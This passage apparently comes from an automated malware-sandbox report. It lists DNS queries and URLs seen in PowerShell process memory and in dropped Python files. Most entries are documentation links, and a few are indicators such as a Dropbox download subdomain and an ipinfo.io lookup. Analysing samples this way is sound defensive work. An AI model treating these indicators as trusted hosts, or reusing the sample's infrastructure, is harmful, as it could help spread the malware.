https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: ucec8a788f965b69a40d3f9f21b4.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: gitlab.com
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io

Source: test_urllib2net.py.17.dr	String found in binary or memory: http://%s/not/found.h
Source: test_wsgiref.py.17.dr	String found in binary or memory: http://127.0.0.1/
Source: test_wsgiref.py.17.dr	String found in binary or memory: http://127.0.0.1/sp%E4m
Source: test_wsgiref.py.17.dr	String found in binary or memory: http://127.0.0.1/spam
Source: test_wsgiref.py.17.dr	String found in binary or memory: http://127.0.0.1/spammity/sp%E4m
Source: test_wsgiref.py.17.dr	String found in binary or memory: http://127.0.0.1/spammity/spam
Source: test_wsgiref.py.17.dr	String found in binary or memory: http://127.0.0.1/spammity/spam;cookie=1234
Source: test_wsgiref.py.17.dr	String found in binary or memory: http://127.0.0.1/spammity/spam;ham
Source: test_wsgiref.py.17.dr	String found in binary or memory: http://127.0.0.1/spammity/spam?s%E4y=ni
Source: test_wsgiref.py.17.dr	String found in binary or memory: http://127.0.0.1/spammity/spam?say=ni
Source: test_wsgiref.py.17.dr	String found in binary or memory: http://127.0.0.1:8000/
Source: __init__.py25.17.dr	String found in binary or memory: http://bugs.python.org/issue19734
Source: __init__.py25.17.dr	String found in binary or memory: http://bugs.python.org/issue20053
Source: filesystem.py.17.dr	String found in binary or memory: http://bugs.python.org/issue22107
Source: filesystem.py.17.dr	String found in binary or memory: http://bugs.python.org/issue2528
Source: test_DSA.py.17.dr	String found in binary or memory: http://csrc.nist.gov/publications/fips/fips186-2/fips186-2-change1.pdf
Source: _mode_cbc.cpython-312.pyc.17.dr	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
Source: powershell.exe, 0000000D.00000002.1380394770.00000187535AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-block-www-env.dropbox-dns.com
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01626000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gitlab.com
Source: url.py.17.dr	String found in binary or memory: http://google.com/mail/
Source: ChangeLog.17.dr	String found in binary or memory: http://idlefork.sourceforge.net
Source: powershell.exe, 0000000D.00000002.1380394770.000001875392C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1397199570.00000187620F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1397199570.0000018761FB6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1583417160.0000023E101B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1583417160.0000023E10074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E01A5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2536038120.0000022F90072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: test_ECC_NIST.py.17.dr	String found in binary or memory: http://point-at-infinity.org/ecc/nisttv
Source: req_file.cpython-312.pyc.17.dr	String found in binary or memory: http://pubs.opengroup.org/onlinepubs/9699919799/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018751F41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: logging-cookbook.html.17.dr	String found in binary or memory: http://supervisord.org/
Source: powershell.exe, 00000011.00000002.2448283371.0000022F81783000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F8178E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tango.freedesktop.org/Tango_Desktop_Project
Source: powershell.exe, 00000011.00000002.2448283371.0000022F82549000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F82518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tix.sourceforge.net
Source: powershell.exe, 00000011.00000002.2448283371.0000022F8253A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F82549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tix.sourceforge.net.
Source: powershell.exe, 00000011.00000002.2448283371.0000022F8253A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F824F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F82504000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F82549000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F82518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tix.sourceforge.net/Tide.
Source: powershell.exe, 00000011.00000002.2448283371.0000022F82518000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tix.sourceforge.net/Tixapps/
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80828000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F80833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc1320
Source: url.py.17.dr	String found in binary or memory: http://tools.ietf.org/html/rfc3986#section-5.2.4
Source: powershell.exe, 0000000D.00000002.1380394770.00000187535AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ucec8a788f965b69a40d3f9f21b4.dl.dropboxusercontent.com
Source: powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www-env.dropbox-dns.com
Source: powershell.exe, 00000011.00000002.2549782222.0000022FF0E51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.oF
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.dropbox.com
Source: test_urllib2net.py.17.dr	String found in binary or memory: http://www.imdb.com
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.indowsway.com/floatingpoint.htm
Source: ChangeLog.17.dr	String found in binary or memory: http://www.python.doc/current/
Source: test_urllib2net.py.17.dr	String found in binary or memory: http://www.python.org/
Source: test_urllib2net.py.17.dr	String found in binary or memory: http://www.python.org/test/test_urllib2/basic_auth
Source: test_urllib2net.py.17.dr	String found in binary or memory: http://www.pythontest.net/elsewhere/#frag
Source: test_urllib2net.py.17.dr	String found in binary or memory: http://www.pythontest.net/index.html#frag
Source: test_urllib2net.py.17.dr	String found in binary or memory: http://www.pythontest.net/redir/with_frag/
Source: test_wsgiref.py.17.dr	String found in binary or memory: https://127.0.0.1/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: powershell.exe, 0000000D.00000002.1380394770.0000018751F41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01626000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: ast.html.17.dr	String found in binary or memory: https://asttokens.readthedocs.io/en/latest/user-guide.html
Source: gettext.html.17.dr	String found in binary or memory: https://babel.pocoo.org/
Source: test_weakref.py.17.dr	String found in binary or memory: https://bugs.python.org/issue3100
Source: powershell.exe, 00000011.00000002.2448283371.0000022F807D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue37179
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://bugs.python.org/issue3770
Source: ftplib.py.17.dr	String found in binary or memory: https://bugs.python.org/issue43285
Source: __init__.py.17.dr	String found in binary or memory: https://bugs.python.org/issue44860
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: test_ECC_NIST.py.17.dr	String found in binary or memory: https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.204.9073&rep=rep1&type=pdf
Source: bisect.html.17.dr	String found in binary or memory: https://code.activestate.com/recipes/577197-sortedcollection/
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01626000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://collector.prd-278964.gl-product-analytics.com
Source: powershell.exe, 00000011.00000002.2536038120.0000022F90072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.2536038120.0000022F90072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.2536038120.0000022F90072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000011.00000002.2448283371.0000022F81783000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F8178E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://creativecommons.org/licenses/by-sa/3.0/)
Source: pyopenssl.cpython-312.pyc.17.dr	String found in binary or memory: https://cryptography.io
Source: powershell.exe, 0000000F.00000002.1530028772.0000023E01649000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://customers.gitlab.com
Source: email.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2045.html
Source: email.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2046.html
Source: email.utils.html.17.dr, email.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2047.html
Source: email.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2183.html
Source: email.utils.html.17.dr, email.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2231.html
Source: email.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2821.html
Source: email.utils.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc2822.html
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc3164.html
Source: logging.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc3339.html
Source: email.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5322.html
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5424.html
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5424.html#section-6
Source: email.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc6532.html
Source: powershell.exe, 00000011.00000002.2448283371.0000022F8081E000.00000004.00000800.00020000.00000000.sdmp, eddsa.py.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc8032#page-41
Source: gettext.html.17.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc822.html
Source: functional.html.17.dr	String found in binary or memory: https://developer.ibm.com/articles/l-prog/
Source: functional.html.17.dr	String found in binary or memory: https://developer.ibm.com/tutorials/l-prog2/
Source: functional.html.17.dr	String found in binary or memory: https://developer.ibm.com/tutorials/l-prog3/
Source: gc.html.17.dr	String found in binary or memory: https://devguide.python.org/garbage_collector/#collecting-the-oldest-generation
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: powershell.exe, 00000011.00000002.2448283371.0000022F807D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/client_advanced.html#proxy-support
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://docs.djangoproject.com/en/stable/topics/logging/#configuring-logging
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp, asyncio-queue.html.17.dr, asyncio-sync.html.17.dr, bisect.html.17.dr, audit_events.html.17.dr, email.utils.html.17.dr, curses.panel.html.17.dr, unicode.html.17.dr, logging-cookbook.html.17.dr, gc.html.17.dr, codeop.html.17.dr, crypto.html.17.dr, sorting.html.17.dr, copy.html.17.dr, datatypes.html.17.dr, bdb.html.17.dr, fileformats.html.17.dr, asyncio-api-index.html.17.dr, asyncio-policy.html.17.dr, gzip.html.17.dr, asyncio.html.17.dr	String found in binary or memory: https://docs.python.org/3/_static/og-image.png
Source: functional.html.17.dr	String found in binary or memory: https://docs.python.org/3/howto/functional.html
Source: ipaddress.html.17.dr	String found in binary or memory: https://docs.python.org/3/howto/ipaddress.html
Source: isolating-extensions.html.17.dr	String found in binary or memory: https://docs.python.org/3/howto/isolating-extensions.html
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://docs.python.org/3/howto/logging-cookbook.html
Source: logging.html.17.dr	String found in binary or memory: https://docs.python.org/3/howto/logging.html
Source: sorting.html.17.dr	String found in binary or memory: https://docs.python.org/3/howto/sorting.html
Source: unicode.html.17.dr	String found in binary or memory: https://docs.python.org/3/howto/unicode.html
Source: ast.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/ast.html
Source: asyncio-api-index.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/asyncio-api-index.html
Source: powershell.exe, 00000011.00000002.2448283371.0000022F807D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/asyncio-eventloop.html
Source: asyncio-extending.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/asyncio-extending.html
Source: asyncio-policy.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/asyncio-policy.html
Source: asyncio-queue.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/asyncio-queue.html
Source: asyncio-runner.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/asyncio-runner.html
Source: asyncio-sync.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/asyncio-sync.html
Source: asyncio.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/asyncio.html
Source: audit_events.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/audit_events.html
Source: bdb.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/bdb.html
Source: bisect.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/bisect.html
Source: codeop.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/codeop.html
Source: concurrent.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/concurrent.html
Source: contextvars.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/contextvars.html
Source: copy.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/copy.html
Source: crypto.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/crypto.html
Source: curses.panel.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/curses.panel.html
Source: datatypes.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/datatypes.html
Source: development.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/development.html
Source: email.charset.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/email.charset.html
Source: email.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/email.html
Source: email.iterators.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/email.iterators.html
Source: email.mime.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/email.mime.html
Source: email.utils.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/email.utils.html
Source: exceptions.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/exceptions.html
Source: fileformats.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/fileformats.html
Source: frameworks.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/frameworks.html
Source: gc.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/gc.html
Source: gettext.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/gettext.html
Source: grp.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/grp.html
Source: gzip.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/gzip.html
Source: html.html.17.dr	String found in binary or memory: https://docs.python.org/3/library/html.html
Source: powershell.exe, 00000011.00000002.2448283371.0000022F807D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/ssl.html#ssl.OP_NO_COMPRESSION)
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/tutorial/floatingpoint.html
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: unicode.html.17.dr	String found in binary or memory: https://downloads.egenix.com/python/LSM2005-Developing-Unicode-aware-applications-in-Python.pdf
Source: unicode.html.17.dr	String found in binary or memory: https://downloads.egenix.com/python/Unicode-EPC2002-Talk.pdf
Source: powershell.exe, 00000011.00000002.2448283371.0000022F807D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2448283371.0000022F807EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dx.doi.org/10.1007/BFb0055716
Source: powershell.exe, 00000011.00000002.2448283371.0000022F8090B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://eli.thegreenplace.net/
Source: powershell.exe, 0000000D.00000002.1380394770.0000018753593000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875356F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1380394770.000001875358F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: ssl_.py.17.dr	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3129
Source: ssl_.py.17.dr	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://gist.github.com/vsajip/4b227eeec43817465ca835ca66f75e2b
Source: __init__.py.17.dr	String found in binary or memory: https://github.com/Homebrew/homebrew-core/issues/76621
Source: _raw_api.py.17.dr	String found in binary or memory: https://github.com/Legrandin/pycryptodome/issues/228
Source: powershell.exe, 00000011.00000002.2448283371.0000022F80227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000011.00000002.2448283371.0000022F807D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/aio-libs/aiohttp/discussions/6044
Source: pyopenssl.cpython-312.pyc.17.dr	String found in binary or memory: https://github.com/kjd/idna
Source: ssl_.py.17.dr	String found in binary or memory: https://github.com/openssl/openssl/issues/14579
Source: _raw_api.py.17.dr	String found in binary or memory: https://github.com/pallets/click/blob/master/src/click/_winconsole.py
Source: gettext.html.17.dr	String found in binary or memory: https://github.com/pinard/po-utils
Source: __init__.py.17.dr	String found in binary or memory: https://github.com/pypa/pip/issues/10151
Source: __init__.py.17.dr	String found in binary or memory: https://github.com/pypa/pip/issues/10647
Source: wheel.py.17.dr	String found in binary or memory: https://github.com/pypa/pip/issues/1150)
Source: entrypoints.py.17.dr	String found in binary or memory: https://github.com/pypa/pip/issues/5599
Source: req_file.cpython-312.pyc.17.dr	String found in binary or memory: https://github.com/pypa/pip/pull/3514
Source: compat.cpython-312.pyc.17.dr	String found in binary or memory: https://github.com/pypa/pip/pull/935#discussion_r5307003
Source: egg_link.cpython-312.pyc.17.dr	String found in binary or memory: https://github.com/pypa/setuptools/issues/4167).
Source: url.py.17.dr	String found in binary or memory: https://github.com/python-hyper/rfc3986
Source: __init__.py.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/8c21941ddaf/Lib/sysconfig.py#L178-L194
Source: functional.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/functional.rst
Source: ipaddress.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/ipaddress.rst
Source: isolating-extensions.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/isolating-extensions.rst
Source: logging-cookbook.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/logging-cookbook.rst
Source: logging.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/logging.rst
Source: sorting.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/sorting.rst
Source: unicode.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/howto/unicode.rst
Source: ast.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/ast.rst
Source: asyncio-api-index.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio-api-index.rst
Source: asyncio-extending.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio-extending.rst
Source: asyncio-policy.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio-policy.rst
Source: asyncio-queue.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio-queue.rst
Source: asyncio-runner.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio-runner.rst
Source: asyncio-sync.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio-sync.rst
Source: asyncio.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/asyncio.rst
Source: audit_events.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/audit_events.rst
Source: bdb.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/bdb.rst
Source: bisect.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/bisect.rst
Source: codeop.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/codeop.rst
Source: concurrent.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/concurrent.rst
Source: contextvars.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/contextvars.rst
Source: copy.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/copy.rst
Source: crypto.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/crypto.rst
Source: curses.panel.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/curses.panel.rst
Source: datatypes.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/datatypes.rst
Source: development.html.17.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/library/development.rst
